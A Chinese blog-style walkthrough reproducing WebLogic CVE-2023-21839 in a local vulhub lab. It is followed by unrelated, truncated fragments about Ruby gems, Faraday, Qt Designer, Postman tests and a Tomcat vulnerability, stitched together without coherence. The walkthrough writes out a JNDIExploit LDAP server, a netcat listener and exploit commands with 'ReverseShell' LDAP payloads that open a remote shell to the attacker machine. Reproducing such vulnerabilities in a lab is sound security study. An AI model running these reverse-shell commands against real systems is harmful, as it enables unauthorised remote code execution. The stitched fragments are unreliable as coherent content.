
本文漏洞环境由vulhub下载后在本地部署:https://github.com/vulhub
本文漏洞利用工具1来源于:https://github.com/DXask88MA/Weblogic-CVE-2023-21839(可能是我利用姿势不太对,没成功)
本文漏洞利用工具2来源于:https://github.com/4ra1n/CVE-2023-21839
本文漏洞利用工具3来源于:https://github.com/WhiteHSBG/JNDIExploit
我主要是对漏洞进行了本地的简单复现,其中用到的工具都是各位大神的,我对4ra1n给的工具进行了编译。
CVE-2023-21839 允许远程用户在未经授权的情况下通过 IIOP/T3 进行 JNDI lookup 操作,当 JDK 版本过低或本地存在小工具(javaSerializedData)时,这可能会导致RCE漏洞。
以上来源于:
https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2023-21839/README.zh-cn.md
下载之后在本地使用docker部署:
docker-compose up -d

访问本地:http://127.0.0.1:7001/,出现以下界面证明环境搭建成功:

然后访问:http://127.0.0.1:7001/console/,等待几秒之后,即可访问到后台管理登录界面。

使用原来的Weblogic漏洞RCE神器进行测试,偶然发现存在cve-2016-3510:

攻击机kali : 192.168.135.22(java11)
目标机:10.30.0.214(mac启动的docker,java8)
中转文件:JNDIExploit-1.4-SNAPSHOT.jar
在kali上同时启动监听、命令执行、反弹shell的工作,先监听:
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 10.30.0.214

然后在本地开启监听:
nc -lvnp 7777

使用下面的工具进行测试:
https://github.com/DXask88MA/Weblogic-CVE-2023-21839
命令(要记得使用java8的环境,不然会报错):
java -jar Weblogic-CVE-2023-21839.jar 10.30.0.214:7001 ldap://192.168.135.22:1389/Basic/ReverseShell/192.168.135.22/7777
[*]java -jar 目标ip:端口 ldap地址
java -jar Weblogic-CVE-2023-21839.jar 192.168.220.129:7001 ldap://192.168.31.58:1389/Basic/ReverseShell/192.168.220.129/1111
通过多次测试,发现还是有问题,能执行但是回不来:
可能是姿势不太对。。。

因为时间关系,暂时就不测试了。
攻击机kali : 192.168.135.22(java11)
目标机:10.30.0.214(mac启动的docker,java8)
中转文件:JNDIExploit-1.4-SNAPSHOT.jar
首先在kali上设置监听,用于接收反弹的shell:

再通过kali上来设置监听:
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.135.22

最后使用工具来进行攻击测试,使用工具来源于:https://github.com/4ra1n/CVE-2023-21839
将工具下载下来之后,在有go的环境中编译一下:
cd cmd
go build -o CVE-2023-21839

使用的时候,按照作者的方法来执行:
./CVE-2023-21839 -ip 10.30.0.214 -port 7001 -ldap ldap://192.168.135.22:1389/Basic/ReverseShell/192.168.135.22/7777
10.30.0.214为靶机
192.168.22.105为攻击机,也是接收反弹shell的ip

漏洞复现之后,记得及时关闭环境:

在这里使用windows版本的试下:


同样可以成功。
我正在编写一个包含C扩展的gem。通常当我写一个gem时,我会遵循TDD的过程,我会写一个失败的规范,然后处理代码直到它通过,等等......在“ext/mygem/mygem.c”中我的C扩展和在gemspec的“扩展”中配置的有效extconf.rb,如何运行我的规范并仍然加载我的C扩展?当我更改C代码时,我需要采取哪些步骤来重新编译代码?这可能是个愚蠢的问题,但是从我的gem的开发源代码树中输入“bundleinstall”不会构建任何native扩展。当我手动运行rubyext/mygem/extconf.rb时,我确实得到了一个Makefile(在整个项目的根目录中),然后当
有没有办法在这个简单的get方法中添加超时选项?我正在使用法拉第3.3。Faraday.get(url)四处寻找,我只能先发起连接后应用超时选项,然后应用超时选项。或者有什么简单的方法?这就是我现在正在做的:conn=Faraday.newresponse=conn.getdo|req|req.urlurlreq.options.timeout=2#2secondsend 最佳答案 试试这个:conn=Faraday.newdo|conn|conn.options.timeout=20endresponse=conn.get(url
我们的git存储库中目前有一个Gemfile。但是,有一个gem我只在我的环境中本地使用(我的团队不使用它)。为了使用它,我必须将它添加到我们的Gemfile中,但每次我checkout到我们的master/dev主分支时,由于与跟踪的gemfile冲突,我必须删除它。我想要的是类似Gemfile.local的东西,它将继承从Gemfile导入的gems,但也允许在那里导入新的gems以供使用只有我的机器。此文件将在.gitignore中被忽略。这可能吗? 最佳答案 设置BUNDLE_GEMFILE环境变量:BUNDLE_GEMFI
我想在Ruby中创建一个用于开发目的的极其简单的Web服务器(不,不想使用现成的解决方案)。代码如下:#!/usr/bin/rubyrequire'socket'server=TCPServer.new('127.0.0.1',8080)whileconnection=server.acceptheaders=[]length=0whileline=connection.getsheaders想法是从命令行运行这个脚本,提供另一个脚本,它将在其标准输入上获取请求,并在其标准输出上返回完整的响应。到目前为止一切顺利,但事实证明这真的很脆弱,因为它在第二个请求上中断并出现错误:/usr/b
我意识到这可能是一个非常基本的问题,但我现在已经花了几天时间回过头来解决这个问题,但出于某种原因,Google就是没有帮助我。(我认为部分问题在于我是一个初学者,我不知道该问什么......)我也看过O'Reilly的RubyCookbook和RailsAPI,但我仍然停留在这个问题上.我找到了一些关于多态关系的信息,但它似乎不是我需要的(尽管如果我错了请告诉我)。我正在尝试调整MichaelHartl'stutorial创建一个包含用户、文章和评论的博客应用程序(不使用脚手架)。我希望评论既属于用户又属于文章。我的主要问题是:我不知道如何将当前文章的ID放入评论Controller。
我的工作要求我为某些测试自动生成电子邮件。我一直在四处寻找,但未能找到可以快速实现的合理解决方案。它需要在outlook而不是其他邮件服务器中,因为我们有一些奇怪的身份验证规则,我们需要保存草稿而不是仅仅发送邮件的选项。显然win32ole可以做到这一点,但我找不到任何相当简单的例子。 最佳答案 假设存储了Outlook凭据并且您设置为自动登录到Outlook,WIN32OLE可以很好地完成此操作:require'win32ole'outlook=WIN32OLE.new('Outlook.Application')message=
华为OD机试题本篇题目:明明的随机数题目输入描述输出描述:示例1输入输出说明代码编写思路最近更新的博客华为od2023|什么是华为od,od薪资待遇,od机试题清单华为OD机试真题大全,用Python解华为机试题|机试宝典【华为OD机试】全流程解析+经验分享,题型分享,防作弊指南华为o
目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控
//1.验证返回状态码是否是200pm.test("Statuscodeis200",function(){pm.response.to.have.status(200);});//2.验证返回body内是否含有某个值pm.test("Bodymatchesstring",function(){pm.expect(pm.response.text()).to.include("string_you_want_to_search");});//3.验证某个返回值是否是100pm.test("Yourtestname",function(){varjsonData=pm.response.json
在前面两节的例子中,主界面窗口的尺寸和标签控件显示的矩形区域等,都是用C++代码编写的。窗口和控件的尺寸都是预估的,控件如果多起来,那就不好估计每个控件合适的位置和大小了。用C++代码编写图形界面的问题就是不直观,因此Qt项目开发了专门的可视化图形界面编辑器——QtDesigner(Qt设计师)。通过QtDesigner就可以很方便地创建图形界面文件*.ui,然后将ui文件应用到源代码里面,做到“所见即所得”,大大方便了图形界面的设计。本节就演示一下QtDesigner的简单使用,学习拖拽控件和设置控件属性,并将ui文件应用到Qt程序代码里。使用QtDesigner设计界面在开始菜单中找到「Q